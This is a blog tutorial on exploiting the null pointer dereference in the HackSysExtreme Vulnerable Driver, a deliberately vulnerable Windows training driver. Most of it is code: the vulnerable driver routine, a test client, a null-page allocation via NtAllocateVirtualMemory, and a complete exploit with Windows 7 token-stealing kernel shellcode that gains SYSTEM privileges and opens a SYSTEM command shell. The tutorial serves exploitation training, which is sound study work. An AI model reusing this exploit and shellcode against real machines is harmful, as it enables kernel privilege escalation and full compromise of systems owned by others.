Today I’m sharing on exploiting the null pointer dereference vulnerability present in the HackSysExtreme Vulnerable Driver.
The Vulnerability
You can view the source from here.
NTSTATUS TriggerNullPointerDereference(IN PVOID UserBuffer) { ULONG UserValue = 0; ULONG MagicValue = 0xBAD0B0B0; NTSTATUS Status = STATUS_SUCCESS; PNULL_POINTER_DEREFERENCE NullPointerDereference = NULL; PAGED_CODE(); __try { // Verify if the buffer resides in user mode ProbeForRead(UserBuffer, sizeof(NULL_POINTER_DEREFERENCE), (ULONG)__alignof(NULL_POINTER_DEREFERENCE)); // Allocate Pool chunk NullPointerDereference = (PNULL_POINTER_DEREFERENCE) ExAllocatePoolWithTag(NonPagedPool, sizeof(NULL_POINTER_DEREFERENCE), (ULONG)POOL_TAG); if (!NullPointerDereference) { // Unable to allocate Pool chunk DbgPrint("[-] Unable to allocate Pool chunk\n"); Status = STATUS_NO_MEMORY; return Status; } else { DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG)); DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool)); DbgPrint("[+] Pool Size: 0x%X\n", sizeof(NULL_POINTER_DEREFERENCE)); DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference); } // Get the value from user mode UserValue = *(PULONG)UserBuffer; DbgPrint("[+] UserValue: 0x%p\n", UserValue); DbgPrint("[+] NullPointerDereference: 0x%p\n", NullPointerDereference); // Validate the magic value if (UserValue == MagicValue) { NullPointerDereference->Value = UserValue; NullPointerDereference->Callback = &NullPointerDereferenceObjectCallback; DbgPrint("[+] NullPointerDereference->Value: 0x%p\n", NullPointerDereference->Value); DbgPrint("[+] NullPointerDereference->Callback: 0x%p\n", NullPointerDereference->Callback); } else { DbgPrint("[+] Freeing NullPointerDereference Object\n"); DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG)); DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference); // Free the allocated Pool chunk ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG); // Set to NULL to avoid dangling pointer NullPointerDereference = NULL; } #ifdef SECURE // Secure Note: This is secure because the developer is checking if // 'NullPointerDereference' is not NULL before calling the callback function if (NullPointerDereference) { NullPointerDereference->Callback(); } #else DbgPrint("[+] Triggering Null Pointer Dereference\n"); // Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability // because the developer is not validating if 'NullPointerDereference' is NULL // before calling the callback function NullPointerDereference->Callback(); #endif } __except (EXCEPTION_EXECUTE_HANDLER) { Status = GetExceptionCode(); DbgPrint("[-] Exception Code: 0x%X\n", Status); } return Status; }
As usual, everything is clearly explained in the source. At line 42 the ‘userValue’ is compared with the value ‘0xBAD0B0B0’ and if it fails at line 58 the ‘NullPointerDereference’ value is set to NULL and at line 73 the value ‘NullPointerDereference’ is not validated whether it’s NULL before calling the callback function.
Let’s disassemble and see it closely. As you can see, if the provided ‘MagicValue’ is wrong the value of ‘NullPointerDereference’ is set to NULL to avoid the dangling pointer.
xor esi, esi
But in the end, when the callback function is being called the value of ‘NullPointerDereference’ is not being validated weather it’s NULL. Therefor this leads to a BSOD, fortunately there’s an exception handler written to avoid this.
Testing the Vulnerability
I will be using the IOCTL value provided in the header file of this driver.
#define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS)
I will use the ‘MagicValue’ 0xBAD0B0B0 as the user input.
#include "stdafx.h" #include <stdio.h> #include <Windows.h> #define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS) int _tmain(int argc, _TCHAR* argv[]) { HANDLE hDevice; DWORD lpBytesReturned; PVOID pMemoryAddress = NULL; LPCWSTR lpDeviceName = L"\\\\.\\HackSysExtremeVulnerableDriver"; ULONG MagicValue = 0xBAD0B0B0; hDevice = CreateFile( lpDeviceName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, NULL); wprintf(L"[*] Author: @OsandaMalith\n[*] Website: https://osandamalith.com\n\n"); wprintf(L"[+] lpDeviceName: %ls\n", lpDeviceName); if (hDevice == INVALID_HANDLE_VALUE) { wprintf(L"[!] Failed to get a handle to the driver. 0x%x\n", GetLastError()); return 1; } wprintf(L"[+] Sending IOCTL request\n"); DeviceIoControl( hDevice, HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE, (LPVOID)&MagicValue, NULL, NULL, 0, &lpBytesReturned, NULL); CloseHandle(hDevice); return 0; }
https://github.com/OsandaMalith/Exploits/blob/master/HEVD/NullPtrTest.cpp
As you can see the value the message “[+] Null Pointer Dereference Object Callback” is printed which means the callback function was successfully executed.
If we pass a wrong ‘MagicValue’ like ‘0xBaadBabe’ we get an exception. Since the exception is handled, BSOD will be prevented.
ULONG MagicValue = 0xBaadBabe;
I will place a breakpoint on
call dword ptr [esi+4]
Once I trigger the vulnerability with the wrong ‘MagicValue’ we hit our breakpoint. Now the challenge is to allocate our pointer to shellcode at address 0x00000004.
How to allocate a DWORD at 0x4?
Functions such as VirtualAlloc or VirtualAllocEx won’t allow us to allocate memory at a starting address less than 0x00001000. Therefore we will have to use the NTAPI undocumented function ‘NtAllocateVirtualMemory’ to map a null page in user space and after that, we can write the pointer to shellcode at address 0x00000004.
NTSTATUS NtAllocateVirtualMemory( _In_ HANDLE ProcessHandle, _Inout_ PVOID *BaseAddress, _In_ ULONG_PTR ZeroBits, _Inout_ PSIZE_T RegionSize, _In_ ULONG AllocationType, _In_ ULONG Protect );
https://undocumented.ntinternals.net
Here’s an example code where I allocate the value ‘0x12345678’ at address 0x4.
#include "stdafx.h" #include <windows.h> typedef NTSTATUS(WINAPI *PNtAllocateVirtualMemory)( HANDLE ProcessHandle, PVOID *BaseAddress, ULONG ZeroBits, PULONG AllocationSize, ULONG AllocationType, ULONG Protect ); int _tmain(int argc, _TCHAR* argv[]) { PNtAllocateVirtualMemory NtAllocateVirtualMemory = (PNtAllocateVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory"); if (!NtAllocateVirtualMemory) { wprintf(L"[!] Failed to Resolve NtAllocateVirtualMemory: 0x%X\n", GetLastError()); return -1; } PVOID BaseAddress = (PVOID)0x1; SIZE_T RegionSize = 1024; NTSTATUS ntStatus = NtAllocateVirtualMemory( GetCurrentProcess(), &BaseAddress, 0, &RegionSize, MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE ); PVOID ShellcodePtr = (PVOID)((ULONG)0x4); *(PULONG)ShellcodePtr = (ULONG)0x12345678; }
https://github.com/OsandaMalith/Exploits/blob/master/HEVD/NullPage.cpp
If we check the memory dump we can see that we successfully allocated a DWORD at address 0x4.
Final Exploit
Let’s put everything together and write the pointer to our shellcode to 0x4 and pass a wrong ‘MagicValue’ to trigger the vulnerability.
#include "stdafx.h" #include <stdio.h> #include <Windows.h> #include <Shlobj.h> #define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS) #define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread #define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process #define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId #define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink #define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token #define SYSTEM_PID 0x004 // SYSTEM Process PID typedef NTSTATUS(WINAPI *PNtAllocateVirtualMemory)( HANDLE ProcessHandle, PVOID *BaseAddress, ULONG ZeroBits, PULONG AllocationSize, ULONG AllocationType, ULONG Protect ); VOID TokenStealingShellcodeWin7() { __asm { ; initialize pushad; save registers state xor eax, eax; Set zero mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process mov ecx, eax; Copy current _EPROCESS structure mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM Process PID = 0x4 SearchSystemPID: mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink sub eax, FLINK_OFFSET cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId jne SearchSystemPID mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token mov[ecx + TOKEN_OFFSET], edx; Copy nt!_EPROCESS.Token of SYSTEM ; to current process popad; restore registers state } } int _tmain(void) { HANDLE hDevice; DWORD lpBytesReturned; PVOID pMemoryAddress = NULL; LPCWSTR lpDeviceName = L"\\\\.\\HackSysExtremeVulnerableDriver"; STARTUPINFO si = { sizeof(STARTUPINFO) }; PROCESS_INFORMATION pi; ULONG MagicValue = 0xBaadBabe; hDevice = CreateFile( lpDeviceName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, NULL); wprintf(L"[*] Author: @OsandaMalith\n[*] Website: https://osandamalith.com\n\n"); wprintf(L"[+] lpDeviceName: %ls\n", lpDeviceName); if (hDevice == INVALID_HANDLE_VALUE) { wprintf(L"[!] Failed to get a handle to the driver. 0x%x\n", GetLastError()); return -1; } PNtAllocateVirtualMemory NtAllocateVirtualMemory = (PNtAllocateVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory"); if (!NtAllocateVirtualMemory) { wprintf(L"[!] Failed to Resolve NtAllocateVirtualMemory: 0x%X\n", GetLastError()); return -1; } PVOID BaseAddress = (PVOID)0x1; SIZE_T RegionSize = 1024; NTSTATUS ntStatus = NtAllocateVirtualMemory( GetCurrentProcess(), &BaseAddress, 0, &RegionSize, MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE ); PVOID ShellcodePtr = (PVOID)((ULONG)0x4); *(PULONG)ShellcodePtr = (ULONG)&TokenStealingShellcodeWin7; wprintf(L"[+] Sending IOCTL request\n"); DeviceIoControl( hDevice, HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE, (LPVOID)&MagicValue, NULL, NULL, 0, &lpBytesReturned, NULL); ZeroMemory(&si, sizeof si); si.cb = sizeof si; ZeroMemory(&pi, sizeof pi); IsUserAnAdmin() ? CreateProcess( L"C:\\Windows\\System32\\cmd.exe", L"/T:17", NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, (STARTUPINFO *)&si, (PROCESS_INFORMATION *)&pi) : wprintf(L"[!] Exploit Failed!"); CloseHandle(hDevice); return 0; }
https://github.com/OsandaMalith/Exploits/blob/master/HEVD/NullPtrDereference.cpp
To verify our exploit let’s place a breakpoint on “call dword ptr [esi+4]” and see the memory location 0x4.
Let’s check where it points, and you can see it points to our token stealing shellcode.
W00t! Here’s our root shell 😎
Windows Kernel Exploitation – Null Pointer Dereference https://t.co/G7y71jRISx #infosec #hacking #hackers #pentest #pentesting #windows pic.twitter.com/nQEbMFIaD3
— Hakin9 (@Hakin9) June 22, 2017
3 thoughts on “Windows Kernel Exploitation – Null Pointer Dereference”